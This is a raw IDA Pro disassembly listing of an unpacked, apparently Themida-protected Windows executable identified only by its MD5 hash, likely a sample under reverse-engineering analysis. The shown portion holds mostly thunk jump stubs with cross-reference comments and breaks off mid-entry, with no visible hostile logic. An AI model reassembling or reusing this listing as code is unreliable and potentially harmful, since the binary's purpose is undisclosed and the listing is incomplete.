; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 81E9C5D1883A78BB5BB467D170CD29AF ; File Name : u:\work\81e9c5d1883a78bb5bb467d170cd29af_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00110000 (1114112.) ; Section size in file : 00110000 (1114112.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing byte_401000 db 5 dup(0CCh) ; DATA XREF: Themida_:0057ABCCo ; --------------------------------------------------------------------------- jmp loc_42F630 ; --------------------------------------------------------------------------- loc_40100A: ; DATA XREF: ___:off_43E09Co jmp loc_412CB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40100F proc near ; CODE XREF: sub_421AF0+29p jmp sub_422050 sub_40100F endp ; --------------------------------------------------------------------------- jmp loc_431250 ; --------------------------------------------------------------------------- jmp loc_420DA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40101E proc near ; CODE XREF: ___:004118E3p jmp sub_411910 sub_40101E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401023 proc near ; CODE XREF: ___:0040B1BDp ; ___:0040B1CAp ... jmp sub_403C00 sub_401023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401028 proc near ; CODE XREF: sub_41FA90+34p jmp sub_40B000 sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40102D proc near ; CODE XREF: sub_404C70+619p ; sub_404C70+6D8p ... jmp sub_40A030 sub_40102D endp ; --------------------------------------------------------------------------- jmp sub_42A100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401037 proc near ; CODE XREF: sub_413510+3Bp ; ___:00414B30p jmp sub_4155E0 sub_401037 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40103C proc near ; CODE XREF: sub_42F840+6Ep ; sub_42F840+8Ap ... jmp sub_432FE0 sub_40103C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401041 proc near ; CODE XREF: ___:0042EF22p ; sub_42F840+3Fp ... jmp sub_432E60 sub_401041 endp ; --------------------------------------------------------------------------- jmp loc_423940 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40104B proc near jmp sub_40D130 sub_40104B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401050 proc near ; CODE XREF: sub_40B000+3Ap ; sub_40B070+1Ap jmp sub_432980 sub_401050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401055 proc near ; CODE XREF: sub_41E660+37Bp jmp sub_421C30 sub_401055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105A proc near ; CODE XREF: sub_40C0C0+8p jmp sub_40C280 sub_40105A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105F proc near ; CODE XREF: sub_431900+5Ap ; sub_433710+50p jmp sub_4318C0 sub_40105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401064 proc near ; DATA XREF: ___:off_43E07Co jmp sub_41C610 sub_401064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401069 proc near ; CODE XREF: ___:00416EAAp jmp sub_41FBD0 sub_401069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40106E proc near ; CODE XREF: sub_40BF60+32p jmp sub_40C120 sub_40106E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401073 proc near ; CODE XREF: ___:00416EBAp jmp sub_418290 sub_401073 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401078 proc near ; CODE XREF: sub_415830+5Ep ; sub_416280+32p jmp sub_4161C0 sub_401078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40107D proc near ; CODE XREF: sub_41E660+161p ; sub_4223E0+3p jmp sub_421A50 sub_40107D endp ; --------------------------------------------------------------------------- jmp loc_41ACE0 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40108C proc near ; CODE XREF: sub_421C30+3p ; ___:00421FFFp ... jmp sub_422170 sub_40108C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401091 proc near ; CODE XREF: sub_40C400+43p jmp sub_40CAD0 sub_401091 endp ; --------------------------------------------------------------------------- jmp sub_427FF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40109B proc near ; CODE XREF: sub_407570+Ap jmp sub_407610 sub_40109B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; CODE XREF: sub_4245F0+23p ; sub_424790+6p ... jmp sub_424500 sub_4010A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A5 proc near ; CODE XREF: sub_430C00+F5p ; sub_430C00+14Fp jmp sub_432DF0 sub_4010A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AA proc near ; CODE XREF: sub_4331D0+C8p jmp sub_430990 sub_4010AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AF proc near ; DATA XREF: ___:0043E174o jmp sub_429DC0 sub_4010AF endp ; --------------------------------------------------------------------------- loc_4010B4: ; DATA XREF: ___:off_43E0A0o jmp loc_41E2C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B9 proc near ; CODE XREF: sub_418330+D0p ; sub_418490+2Dp jmp sub_418A20 sub_4010B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010BE proc near ; CODE XREF: sub_40FF60+8D9p ; sub_40FF60+990p ... jmp sub_411860 sub_4010BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C3 proc near ; CODE XREF: ___:0042F336p ; ___:0042F3A4p ... jmp sub_430F00 sub_4010C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C8 proc near ; CODE XREF: sub_421D50+9p ; sub_422240+18p jmp sub_4223C0 sub_4010C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010CD proc near ; CODE XREF: sub_40A9F0+58p ; sub_40A9F0+82p ... jmp sub_40ABE0 sub_4010CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D2 proc near ; CODE XREF: sub_422A40+3F1p ; ___:00423AA6p ... jmp sub_419AE0 sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010D7 proc near ; CODE XREF: sub_416010+7p jmp sub_416640 sub_4010D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010DC proc near ; CODE XREF: sub_415520+4Fp ; sub_415E70+11p ... jmp sub_4160C0 sub_4010DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E1 proc near ; CODE XREF: sub_429C30+58p jmp sub_429AA0 sub_4010E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010E6 proc near ; CODE XREF: sub_421870+1Fp jmp sub_421CB0 sub_4010E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010EB proc near ; CODE XREF: sub_421FB0+11p ; ___:00421FD7p ... jmp sub_4224D0 sub_4010EB endp ; --------------------------------------------------------------------------- jmp loc_413D60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F5 proc near ; CODE XREF: sub_421A30+3p ; ___:00421D9Fp ... jmp sub_421F10 sub_4010F5 endp ; --------------------------------------------------------------------------- jmp loc_414400 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FF proc near ; CODE XREF: sub_426F20+3p jmp sub_426F50 sub_4010FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401104 proc near ; CODE XREF: sub_415A00+11p ; ___:00415A27p ... jmp sub_416470 sub_401104 endp ; --------------------------------------------------------------------------- jmp loc_433310 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40110E proc near ; CODE XREF: sub_421B60+5p ; sub_421C50+6p ... jmp sub_422150 sub_40110E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401113 proc near ; CODE XREF: ___:00416A5Bp ; ___:00439F5Ej ... jmp sub_417A60 sub_401113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401118 proc near ; CODE XREF: sub_404C70+6Ap ; sub_404C70+1AFp ... jmp sub_412970 sub_401118 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40111D proc near ; DATA XREF: ___:off_43E074o jmp sub_4192C0 sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401122 proc near ; CODE XREF: sub_431A20+6p ; ___:00431A33p ... jmp sub_42F480 sub_401122 endp ; --------------------------------------------------------------------------- jmp loc_42E3D0 ; --------------------------------------------------------------------------- loc_40112C: ; DATA XREF: ___:off_43E15Co jmp loc_429A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401131 proc near ; CODE XREF: ___:00423C9Dp jmp sub_423760 sub_401131 endp ; --------------------------------------------------------------------------- jmp loc_431F50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40113B proc near ; CODE XREF: ___:004150A8p jmp sub_415990 sub_40113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401140 proc near ; CODE XREF: sub_41B950+F7p ; sub_41B950+10Bp ... jmp sub_409EA0 sub_401140 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401145 proc near ; CODE XREF: sub_409910+Ap jmp sub_409A00 sub_401145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114A proc near ; CODE XREF: sub_4133D0+55p ; sub_4133D0+94p ... jmp sub_415770 sub_40114A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114F proc near ; CODE XREF: sub_425020+183p jmp sub_4235F0 sub_40114F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401154 proc near ; CODE XREF: ___:00414BBEp jmp sub_415520 sub_401154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401159 proc near ; CODE XREF: sub_427600+3p jmp sub_427630 sub_401159 endp ; --------------------------------------------------------------------------- loc_40115E: ; DATA XREF: ___:off_43E038o jmp loc_4118E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401163 proc near ; CODE XREF: sub_415DD0+11p ; ___:00415DF7p ... jmp sub_4165F0 sub_401163 endp ; --------------------------------------------------------------------------- jmp loc_41D730 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40116D proc near ; CODE XREF: sub_418B10+23p ; sub_418D80+11p jmp sub_418E60 sub_40116D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401172 proc near ; CODE XREF: sub_418A90+3p ; sub_418E90+54p ... jmp sub_418CE0 sub_401172 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401177 proc near ; CODE XREF: sub_409600+6Ap ; sub_409600+103p jmp sub_4098A0 sub_401177 endp ; --------------------------------------------------------------------------- jmp loc_432840 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401181 proc near ; CODE XREF: ___:00413D7Dp jmp sub_413B70 sub_401181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401186 proc near ; CODE XREF: ___:0041A1E4p jmp sub_41AFE0 sub_401186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40118B proc near ; CODE XREF: sub_4133D0+88p ; sub_4147D0+BFp ... jmp sub_415930 sub_40118B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401190 proc near ; CODE XREF: sub_42F480+7p ; sub_42F4F0+19p ... jmp sub_4338B0 sub_401190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401195 proc near jmp sub_40DB10 sub_401195 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40119A proc near ; CODE XREF: ___:004310AAp jmp sub_430A50 sub_40119A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40119F proc near ; CODE XREF: sub_4071E0+11p ; sub_407370+1Fp jmp sub_407410 sub_40119F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A4 proc near ; CODE XREF: sub_4036D0+3B5p ; sub_4036D0+3C5p ... jmp sub_403E00 sub_4011A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A9 proc near ; CODE XREF: sub_421C10+3p jmp sub_422190 sub_4011A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011AE proc near ; CODE XREF: sub_40C250+Ap jmp sub_40C310 sub_4011AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B3 proc near ; CODE XREF: sub_4036D0+1Dp ; sub_407030+1Fp ... jmp sub_403C70 sub_4011B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011B8 proc near ; CODE XREF: ___:00413274p ; ___:0043998Cj ... jmp sub_4153B0 sub_4011B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011BD proc near ; CODE XREF: sub_42B350+3p jmp sub_42B380 sub_4011BD endp ; --------------------------------------------------------------------------- jmp loc_40AF00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011C7 proc near ; CODE XREF: ___:00414BCDp jmp sub_414C70 sub_4011C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011CC proc near ; CODE XREF: sub_407610+7p ; sub_409A00+7p ... jmp sub_407640 sub_4011CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D1 proc near ; CODE XREF: sub_413510+73p ; ___:00414B6Dp ... jmp sub_415600 sub_4011D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D6 proc near ; CODE XREF: sub_41E660+58p jmp sub_420530 sub_4011D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011DB proc near ; CODE XREF: sub_413DA0+84p jmp sub_4137E0 sub_4011DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E0 proc near ; CODE XREF: ___:00432428p jmp sub_42FD70 sub_4011E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E5 proc near ; CODE XREF: sub_4074C0+8p jmp sub_4075A0 sub_4011E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011EA proc near ; CODE XREF: sub_404C70+9Fp ; sub_404C70+230p ... jmp sub_40A430 sub_4011EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011EF proc near ; CODE XREF: sub_40A790+21p ; sub_40A9F0+A5p jmp sub_40A9D0 sub_4011EF endp ; --------------------------------------------------------------------------- jmp loc_40AF70 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F9 proc near ; CODE XREF: sub_40A430+129p ; sub_40A810+4p ... jmp sub_40A7E0 sub_4011F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011FE proc near ; DATA XREF: ___:off_43E0DCo jmp sub_426650 sub_4011FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401203 proc near ; CODE XREF: ___:004322BDp jmp sub_42FA70 sub_401203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401208 proc near ; CODE XREF: sub_4072F0+3p ; ___:004073BFp ... jmp sub_407480 sub_401208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40120D proc near ; CODE XREF: sub_41D830+346p ; sub_41D830+410p ... jmp sub_421870 sub_40120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401212 proc near ; CODE XREF: sub_421AB0+11p ; sub_421FB0+1Fp jmp sub_4220E0 sub_401212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401217 proc near ; CODE XREF: sub_42B4F0+3p jmp sub_42B520 sub_401217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40121C proc near jmp sub_407790 sub_40121C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401221 proc near ; CODE XREF: sub_40C120+5Fp jmp sub_40C2F0 sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401226 proc near ; CODE XREF: sub_4034E0+F6p ; sub_4034E0+12Ep ... jmp sub_409C30 sub_401226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40122B proc near ; CODE XREF: sub_41E660+113p ; sub_41E660+124p jmp sub_421A30 sub_40122B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401230 proc near ; DATA XREF: ___:0043E060o jmp sub_41F860 sub_401230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401235 proc near ; CODE XREF: ___:00416AFBp ; ___:00439ED2j ... jmp sub_4176B0 sub_401235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40123A proc near ; CODE XREF: sub_40AEC0+Fp jmp sub_42FF50 sub_40123A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40123F proc near ; CODE XREF: sub_418B10+32p jmp sub_418D80 sub_40123F endp ; --------------------------------------------------------------------------- jmp loc_433570 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401249 proc near ; CODE XREF: sub_415420+5p ; sub_415620+6p ... jmp sub_416030 sub_401249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40124E proc near ; CODE XREF: sub_40BCB0+29p ; sub_40BDD0+29p jmp sub_40BF60 sub_40124E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401253 proc near ; CODE XREF: sub_41E660+3E9p ; ___:0043B1ABj jmp sub_421AF0 sub_401253 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401258 proc near ; CODE XREF: sub_4144D0+BFp jmp sub_415210 sub_401258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40125D proc near ; CODE XREF: sub_4164E0+Ap jmp sub_416820 sub_40125D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401262 proc near ; CODE XREF: ___:00416B67p ; ___:00439E73j ... jmp sub_416FB0 sub_401262 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401267 proc near jmp sub_418330 sub_401267 endp ; --------------------------------------------------------------------------- jmp sub_416C30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401271 proc near ; CODE XREF: ___:00416E1Fp jmp sub_417FD0 sub_401271 endp ; --------------------------------------------------------------------------- jmp loc_414690 ; --------------------------------------------------------------------------- jmp loc_42F030 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401280 proc near ; CODE XREF: sub_40FF60+387p ; sub_41EF30+21Dp ... jmp sub_41B6E0 sub_401280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401285 proc near ; CODE XREF: ___:00416E5Ap jmp sub_418180 sub_401285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40128A proc near ; CODE XREF: sub_409490+8p jmp sub_4094E0 sub_40128A endp ; --------------------------------------------------------------------------- jmp loc_429A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401294 proc near ; CODE XREF: sub_409600+A5p ; sub_412BC0+21p jmp sub_409810 sub_401294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401299 proc near ; CODE XREF: sub_404C70+385p ; sub_41D830+5AAp jmp sub_41C030 sub_401299 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40129E proc near ; CODE XREF: ___:00416D6Fp jmp sub_4036D0 sub_40129E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A3 proc near ; CODE XREF: sub_418BC0+23p ; sub_418E90+11p jmp sub_418FE0 sub_4012A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A8 proc near ; CODE XREF: sub_424840+Cp ; sub_424840+3Ep ... jmp sub_424330 sub_4012A8 endp ; --------------------------------------------------------------------------- jmp loc_42F670 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B2 proc near ; CODE XREF: sub_404C70+860p ; sub_404C70+ADCp ... jmp sub_40A290 sub_4012B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B7 proc near ; CODE XREF: ___:0042EB16p ; ___:0042EB66p ... jmp sub_431490 sub_4012B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012BC proc near ; CODE XREF: sub_41E660+367p ; sub_41E660+3D4p ... jmp sub_421C80 sub_4012BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C1 proc near ; DATA XREF: sub_426A60+107o jmp sub_426CE0 sub_4012C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C6 proc near ; CODE XREF: sub_424720+18p ; sub_424760+Ap ... jmp sub_4246D0 sub_4012C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012CB proc near ; CODE XREF: sub_416120+9p ; sub_4161C0+18p jmp sub_4167D0 sub_4012CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D0 proc near ; DATA XREF: sub_431280+32o jmp sub_431A80 sub_4012D0 endp ; --------------------------------------------------------------------------- jmp loc_42EB60 ; --------------------------------------------------------------------------- jmp loc_419BB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DF proc near ; CODE XREF: sub_429AA0+67p jmp sub_41FEF0 sub_4012DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4012E4 proc near ; CODE XREF: ___:0042EEF8p ; sub_42F0B0+2p ... jmp sub_430270 sub_4012E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E9 proc near ; CODE XREF: sub_413670+3Fp ; sub_4144D0+40p ... jmp sub_415160 sub_4012E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012EE proc near ; CODE XREF: sub_404640+19Fp ; sub_404640+212p ... jmp sub_409EF0 sub_4012EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F3 proc near ; CODE XREF: sub_424E90+B5p ; sub_424E90+F1p jmp sub_424E20 sub_4012F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F8 proc near ; CODE XREF: sub_425020+127p jmp sub_424E90 sub_4012F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012FD proc near ; CODE XREF: ___:00416E3Ap jmp sub_418080 sub_4012FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401302 proc near ; CODE XREF: ___:00416E0Fp jmp sub_417F10 sub_401302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401307 proc near ; CODE XREF: sub_4303D0+1p jmp sub_430460 sub_401307 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40130C proc near ; CODE XREF: ___:00425F11p jmp sub_426450 sub_40130C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401311 proc near ; CODE XREF: sub_418330+71p ; sub_418330+BBp ... jmp sub_4189F0 sub_401311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401316 proc near ; CODE XREF: sub_40A0A0+7p jmp sub_40A0C0 sub_401316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40131B proc near ; CODE XREF: ___:004316D8p ; sub_431730+2Bp jmp sub_431900 sub_40131B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401320 proc near ; CODE XREF: sub_431280+1p jmp sub_4314C0 sub_401320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401325 proc near ; CODE XREF: sub_4207E0+37Bp jmp sub_421BD0 sub_401325 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40132A proc near ; CODE XREF: sub_414360+5Bp jmp sub_415030 sub_40132A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132F proc near ; CODE XREF: sub_4153B0+29p ; sub_4154D0+29p jmp sub_415F30 sub_40132F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401334 proc near ; CODE XREF: ___:00435F42p ; ___:00435F52p ... jmp sub_435E00 sub_401334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401339 proc near ; CODE XREF: sub_4133D0+5Fp ; sub_4133D0+9Ep ... jmp sub_415960 sub_401339 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40133E proc near ; CODE XREF: sub_40B520+62p ; ___:0040B9E8p ... jmp sub_40BE60 sub_40133E endp ; --------------------------------------------------------------------------- jmp loc_4300C0 ; --------------------------------------------------------------------------- jmp loc_42EC40 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40134D proc near ; DATA XREF: ___:0043E1A8o jmp sub_42B3A0 sub_40134D endp ; --------------------------------------------------------------------------- jmp loc_42B2E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401357 proc near ; CODE XREF: sub_416090+8p jmp sub_4166B0 sub_401357 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40135C proc near ; CODE XREF: sub_4133D0+71p ; sub_4133D0:loc_41349Cp ... jmp sub_415910 sub_40135C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401361 proc near ; CODE XREF: sub_418330+AFp ; sub_418FE0+3p jmp sub_418AB0 sub_401361 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401366 proc near ; DATA XREF: ___:0043E104o jmp sub_426A60 sub_401366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40136B proc near ; CODE XREF: sub_40B520+39p ; sub_40B520+78p ... jmp sub_40BE90 sub_40136B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401370 proc near ; CODE XREF: sub_4257A0+29p ; sub_4257A0+38p jmp sub_4256B0 sub_401370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401375 proc near ; CODE XREF: sub_41A500+1Cp jmp sub_41A540 sub_401375 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40137A proc near ; DATA XREF: ___:0043E164o jmp sub_429C30 sub_40137A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40137F proc near ; CODE XREF: ___:00408BE6p ; ___:00414481p jmp sub_414230 sub_40137F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401384 proc near ; CODE XREF: sub_418490+72p jmp sub_406C30 sub_401384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401389 proc near ; CODE XREF: sub_409D20+7p ; sub_409E70+7p ... jmp sub_40A700 sub_401389 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40138E proc near ; DATA XREF: ___:off_43E080o jmp sub_422A40 sub_40138E endp ; --------------------------------------------------------------------------- jmp loc_413AE0 ; --------------------------------------------------------------------------- jmp sub_42B350 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40139D proc near ; CODE XREF: sub_418900+11p ; sub_421CB0+1Fp jmp sub_418C50 sub_40139D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B2D0 loc_4013A2: ; CODE XREF: sub_42B2D0+3j jmp sub_42A810 ; END OF FUNCTION CHUNK FOR sub_42B2D0 ; --------------------------------------------------------------------------- jmp sub_42B4F0 ; --------------------------------------------------------------------------- jmp loc_42EBB0 ; --------------------------------------------------------------------------- jmp loc_414A60 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013B6 proc near ; CODE XREF: sub_407290+1Fp jmp sub_407370 sub_4013B6 endp ; --------------------------------------------------------------------------- jmp loc_42E7B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013C0 proc near ; CODE XREF: sub_40FD70+3p ; ___:00416AEBp ... jmp sub_40FDA0 sub_4013C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013C5 proc near ; CODE XREF: sub_425270+Cp ; sub_4253E0+Ap ... jmp sub_425230 sub_4013C5 endp ; --------------------------------------------------------------------------- jmp loc_40D2E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013CF proc near ; CODE XREF: sub_40A8C0+20p jmp sub_40A9F0 sub_4013CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D4 proc near ; CODE XREF: 